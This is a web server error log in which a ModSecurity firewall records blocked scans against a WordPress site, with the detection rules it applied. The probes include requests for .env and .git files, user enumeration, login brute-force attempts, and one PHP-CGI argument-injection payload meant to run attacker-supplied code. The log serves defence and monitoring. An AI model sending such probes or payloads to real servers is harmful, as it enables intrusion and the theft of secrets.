[Mon Mar 09 00:35:29.690629 2026] [:error] [pid 49677:tid 49740] [client 18.223.123.222:65313] [client 18.223.123.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aa2lUdgMztaTv5fI2XrUdAAAAIw"]
[Mon Mar 09 00:35:34.862006 2026] [:error] [pid 49392:tid 49608] [client 18.223.123.222:52892] [client 18.223.123.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aa2lVrhnfLjo2gwJdbEvsQAAAFY"]
[Mon Mar 09 06:18:38.851972 2026] [:error] [pid 17485:tid 17504] [client 182.44.8.254:48937] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa31vtQOL_kxQEc1PTCNlgAAARA"]
[Mon Mar 09 06:50:58.967893 2026] [:error] [pid 5783:tid 5913] [client 43.156.168.214:51232] [client 43.156.168.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aa39UgdiZJ1FQPtsTNQSFwAAAFM"]
[Mon Mar 09 08:23:19.807248 2026] [:error] [pid 17485:tid 17493] [client 202.175.241.170:64926] [client 202.175.241.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.175.241.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa4S99QOL_kxQEc1PTD6FAAAAQU"]
[Mon Mar 09 08:33:43.932160 2026] [:error] [pid 17485:tid 17495] [client 202.175.241.170:59466] [client 202.175.241.170] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa4VZ9QOL_kxQEc1PTADjgAAAQc"]
[Mon Mar 09 08:34:57.798248 2026] [:error] [pid 17485:tid 17493] [client 202.175.241.170:60457] [client 202.175.241.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.175.241.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa4VsdQOL_kxQEc1PTAEkwAAAQU"]
[Mon Mar 09 08:36:08.527339 2026] [:error] [pid 17485:tid 17490] [client 202.175.241.170:61349] [client 202.175.241.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.175.241.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa4V-NQOL_kxQEc1PTAFfAAAAQI"]
[Mon Mar 09 08:37:16.952807 2026] [:error] [pid 17485:tid 17492] [client 202.175.241.170:62155] [client 202.175.241.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.175.241.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa4WPNQOL_kxQEc1PTAGqgAAAQQ"]
[Mon Mar 09 08:38:26.363783 2026] [:error] [pid 6074:tid 6093] [client 202.175.241.170:62627] [client 202.175.241.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.175.241.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa4WghgvXHMVGYw_ElwnJwAAAMI"]
[Mon Mar 09 08:38:26.365260 2026] [:error] [pid 6074:tid 6093] [client 202.175.241.170:62627] [client 202.175.241.170] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa4WghgvXHMVGYw_ElwnJwAAAMI"]
[Mon Mar 09 08:38:26.366600 2026] [:error] [pid 6074:tid 6093] [client 202.175.241.170:62627] [client 202.175.241.170] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa4WghgvXHMVGYw_ElwnJwAAAMI"]
[Mon Mar 09 10:07:52.985062 2026] [:error] [pid 5779:tid 5875] [client 98.98.66.71:52485] [client 98.98.66.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.66.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa4reAaHbHwtklaurgV-NwAAABQ"]
[Mon Mar 09 10:07:56.351006 2026] [:error] [pid 5783:tid 5905] [client 98.98.66.71:52826] [client 98.98.66.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.66.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa4rfAdiZJ1FQPtsTNQ3DgAAAEs"]
[Mon Mar 09 12:02:21.175218 2026] [:error] [pid 2145:tid 2190] [client 43.133.187.11:43580] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa5GTXczzpD9XHtKwuCzdgAAAVI"]
[Mon Mar 09 13:06:02.574366 2026] [authz_core:error] [pid 6074:tid 6111] [client 165.227.84.14:39366] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Mon Mar 09 13:06:10.570539 2026] [:error] [pid 5787:tid 5941] [client 165.227.84.14:39402] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aa5VQrGpMgQ18gGUaFP0UgAAAJM"]
[Mon Mar 09 13:06:15.354006 2026] [:error] [pid 6074:tid 6100] [client 165.227.84.14:32884] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aa5VRxgvXHMVGYw_ElybxAAAAMk"]
[Mon Mar 09 13:06:33.845532 2026] [:error] [pid 5787:tid 5941] [client 165.227.84.14:38790] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aa5VWbGpMgQ18gGUaFP0dgAAAJM"]
[Mon Mar 09 13:06:59.622607 2026] [:error] [pid 5787:tid 5946] [client 165.227.84.14:59952] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/trace.axd"] [unique_id "aa5Vc7GpMgQ18gGUaFP0iAAAAJg"]
[Mon Mar 09 13:16:55.209316 2026] [:error] [pid 17485:tid 17499] [client 162.62.132.25:40930] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aa5Xx9QOL_kxQEc1PTAQqQAAAQs"]
[Mon Mar 09 13:20:53.673401 2026] [:error] [pid 17485:tid 17508] [client 14.168.154.3:59270] [client 14.168.154.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.168.154.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5YtdQOL_kxQEc1PTATzwAAARQ"]
[Mon Mar 09 13:27:46.640163 2026] [:error] [pid 2145:tid 2191] [client 104.28.214.113:19896] [client 104.28.214.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aa5aUnczzpD9XHtKwuDiZgAAAVM"]
[Mon Mar 09 13:28:57.064725 2026] [:error] [pid 5787:tid 5932] [client 114.130.188.51:15650] [client 114.130.188.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.130.188.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5ambGpMgQ18gGUaFP6IAAAAIo"]
[Mon Mar 09 13:29:34.792689 2026] [:error] [pid 17485:tid 17497] [client 172.93.100.166:25296] [client 172.93.100.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.93.100.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5avtQOL_kxQEc1PTAZgQAAAQk"]
[Mon Mar 09 13:39:06.120175 2026] [:error] [pid 2145:tid 2191] [client 172.93.100.166:17420] [client 172.93.100.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa5c-nczzpD9XHtKwuDoAwAAAVM"]
[Mon Mar 09 13:40:38.178722 2026] [:error] [pid 17485:tid 17490] [client 114.130.188.51:15718] [client 114.130.188.51] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa5dVtQOL_kxQEc1PTAjSwAAAQI"]
[Mon Mar 09 13:40:47.092327 2026] [:error] [pid 6074:tid 6100] [client 172.93.100.166:26838] [client 172.93.100.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.93.100.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5dXxgvXHMVGYw_ElynDQAAAMk"]
[Mon Mar 09 13:42:18.025732 2026] [:error] [pid 17485:tid 17512] [client 172.93.100.166:35772] [client 172.93.100.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.93.100.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5dutQOL_kxQEc1PTAlXwAAARg"]
[Mon Mar 09 13:43:55.247554 2026] [:error] [pid 2145:tid 2181] [client 172.93.100.166:44364] [client 172.93.100.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.93.100.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5eG3czzpD9XHtKwuDrhQAAAU0"]
[Mon Mar 09 13:44:20.997736 2026] [:error] [pid 2145:tid 2194] [client 114.130.188.51:15607] [client 114.130.188.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.130.188.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5eNHczzpD9XHtKwuDr_gAAAVY"]
[Mon Mar 09 13:45:29.948547 2026] [:error] [pid 5779:tid 5871] [client 172.93.100.166:52174] [client 172.93.100.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.93.100.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5eeQaHbHwtklaurgWpYwAAABA"]
[Mon Mar 09 13:48:34.267101 2026] [:error] [pid 17485:tid 17496] [client 114.130.188.51:15514] [client 114.130.188.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.130.188.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5fMtQOL_kxQEc1PTAr2QAAAQg"]
[Mon Mar 09 13:50:54.175532 2026] [:error] [pid 17485:tid 17504] [client 114.130.188.51:15520] [client 114.130.188.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.130.188.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5fvtQOL_kxQEc1PTAtTwAAARA"]
[Mon Mar 09 13:52:42.202515 2026] [:error] [pid 5787:tid 5943] [client 114.130.188.51:15453] [client 114.130.188.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.130.188.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa5gKrGpMgQ18gGUaFMAFQAAAJU"]
[Mon Mar 09 17:42:43.013927 2026] [:error] [pid 5787:tid 5930] [client 75.119.156.192:56874] [client 75.119.156.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 75.119.156.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa6WE7GpMgQ18gGUaFODuwAAAIg"]
[Mon Mar 09 17:42:45.728581 2026] [:error] [pid 44504:tid 44562] [client 75.119.156.192:57248] [client 75.119.156.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 75.119.156.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa6WFXri56-8oxPimmgd3gAAAhc"]
[Mon Mar 09 17:43:32.395374 2026] [:error] [pid 5783:tid 5912] [client 54.37.252.152:54800] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aa6WRAdiZJ1FQPtsTNS8bwAAAFI"]
[Mon Mar 09 17:43:34.251965 2026] [:error] [pid 44503:tid 44512] [client 54.37.252.152:56864] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aa6WRspGKFA8jlKDDh2RoQAAAcU"]
[Mon Mar 09 17:43:36.452243 2026] [:error] [pid 5787:tid 5932] [client 54.37.252.152:56874] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aa6WSLGpMgQ18gGUaFOEOQAAAIo"]
[Mon Mar 09 17:43:38.398996 2026] [:error] [pid 44503:tid 44521] [client 54.37.252.152:56880] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aa6WSspGKFA8jlKDDh2RpwAAAc4"]
[Mon Mar 09 17:43:40.377258 2026] [:error] [pid 6074:tid 6111] [client 54.37.252.152:56896] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aa6WTBgvXHMVGYw_Elz1jAAAANQ"]
[Mon Mar 09 17:43:42.539515 2026] [:error] [pid 5779:tid 5862] [client 54.37.252.152:35200] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aa6WTgaHbHwtklaurgX3uwAAAAc"]
[Mon Mar 09 17:43:44.461641 2026] [:error] [pid 2145:tid 2173] [client 54.37.252.152:35212] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aa6WUHczzpD9XHtKwuBGVgAAAUc"]
[Mon Mar 09 17:43:46.510188 2026] [:error] [pid 44504:tid 44536] [client 54.37.252.152:35228] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aa6WUnri56-8oxPimmgeGwAAAgI"]
[Mon Mar 09 17:43:48.534265 2026] [:error] [pid 44503:tid 44525] [client 54.37.252.152:35236] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aa6WVMpGKFA8jlKDDh2RxAAAAdI"]
[Mon Mar 09 17:43:50.432535 2026] [:error] [pid 44503:tid 44512] [client 54.37.252.152:35250] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aa6WVspGKFA8jlKDDh2RzQAAAcU"]
[Mon Mar 09 17:43:52.318523 2026] [:error] [pid 17485:tid 17498] [client 54.37.252.152:47656] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aa6WWNQOL_kxQEc1PTCqnQAAAQo"]
[Mon Mar 09 17:43:54.355275 2026] [:error] [pid 17485:tid 17491] [client 54.37.252.152:47666] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aa6WWtQOL_kxQEc1PTCqngAAAQM"]
[Mon Mar 09 17:43:56.256247 2026] [:error] [pid 44504:tid 44549] [client 54.37.252.152:47678] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aa6WXHri56-8oxPimmgeHwAAAg8"]
[Mon Mar 09 17:43:58.459222 2026] [:error] [pid 5783:tid 5912] [client 54.37.252.152:47692] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aa6WXgdiZJ1FQPtsTNS8gAAAAFI"]
[Mon Mar 09 17:44:00.455583 2026] [:error] [pid 5783:tid 5899] [client 54.37.252.152:47702] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aa6WYAdiZJ1FQPtsTNS8gQAAAEU"]
[Mon Mar 09 17:44:02.365785 2026] [:error] [pid 44503:tid 44518] [client 54.37.252.152:49678] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aa6WYspGKFA8jlKDDh2SFQAAAcs"]
